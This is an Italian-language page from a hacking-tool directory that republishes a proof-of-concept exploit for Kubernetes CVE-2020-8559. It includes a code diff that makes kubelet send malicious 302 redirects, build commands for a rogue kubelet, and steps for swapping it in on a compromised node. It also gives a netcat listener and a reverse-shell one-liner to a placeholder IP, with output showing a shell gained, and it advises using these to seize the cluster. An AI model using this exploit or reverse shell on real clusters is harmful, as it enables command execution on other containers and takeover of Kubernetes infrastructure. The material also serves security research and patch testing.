Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-8559 — Questo è un exploit PoC per la vulnerabilità Kubernetes CVE-2020-8559 | Kitploit
Strumenti/GitHubGitHub/tdwyer/cve-2020-8559
Escalation di PrivilegiSicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitMovimento LateralePost-ExploitPenetration TestingSicurezza Cloud
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

Questo è un exploit PoC per la vulnerabilità Kubernetes CVE-2020-8559

Vedi Repository
54146 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Kubernetes CVE-2020-8559 Exploit Proof of Concept (PoC)

Questo è solo a scopo dimostrativo. Da usare esclusivamente su sistemi su cui sei autorizzato a eseguire azioni amministrative e su cui sei autorizzato a sfruttare CVE-2020-8559.

Questa è una PoC per CVE-2020-8559. Questa vulnerabilità consente a un attaccante che ha ottenuto root su un Node di eseguire comandi su qualsiasi altro Container nel cluster, consentendo all'attaccante di assumere il controllo del nodo master di Kubernetes.

Questa vulnerabilità è dovuta al fatto che il server API di Kubernetes e il comando kubectl seguono i reindirizzamenti HTTP, combinato con il fatto che l'API di Kubernetes inserisce tutti i componenti di una richiesta API nell'URL, ovvero nome del Node, nome del Pod, nome del Container e persino il comando. Pertanto, se il processo Kubelet risponde a /exec, /attach, /portforward o a qualsiasi azione resource: proxy con un reindirizzamento HTTP 302 con un header Location che indica di eseguire un comando diverso su un Node diverso in un Container diverso, il server API di Kubernetes o il comando kubectl eseguirà senza problemi una nuova richiesta per qualunque cosa sia presente nell'header Location.

Repo Kubernetes con il mio codice PoC

Puoi scaricare la mia versione fork di Kubernetes e passare al mio branch per compilare il binario kubelet dell'exploit.
Questo branch è basato sul tag v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Configurazione

Questa PoC si limita a inviare un reindirizzamento HTTP 302 con un header Location hard-coded, quindi dovrai modificare kubernetes/pkg/kubelet/server/server.go e aggiornare host, namespace, pod, container e command

Suggerimento: Elenca tutti i Pod nel cluster. Quindi, configura questa PoC per eseguire comandi su un Pod in esecuzione sul nodo master di Kubernetes, in modo da avviare una reverse shell verso di te e prendere il controllo del cluster.

Compilazione

Dopo aver configurato l'attacco, compila un binario kubelet rogue

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Attacco

  1. Ottieni root su un Node
  2. Copia il binario kubelet rogue sul Node
  3. Ferma il processo kubelet e sovrascrivi il binario con quello rogue
    Trova il PID del processo kubelet
    ps aux |grep kubelet
    Termina il processo kubelet e copia il binario rogue nella posizione corretta
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Termina di nuovo il processo kubelet in modo che si riavvii con il binario rogue
    Trova il PID del processo kubelet
    ps aux |grep kubelet
    Termina il processo kubelet
    sudo kill $PID
  5. Se configurato per attaccare un amministratore che utilizza il comando kubectl sulla propria workstation locale, questo comando dovrebbe restituire l'hostname del Container vittima invece del Container su cui avrebbe dovuto essere eseguito
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

Puoi anche avviare una reverse shell verso di te da qualsiasi Container con

  1. Avvia netcat in ascolto sulla tua workstation
    nc -lv 4444
  2. Usa invece questo comando; dovrai però codificarlo. Aggiornerò il metodo esatto appena lo capisco.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Successo :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Scarica lo strumento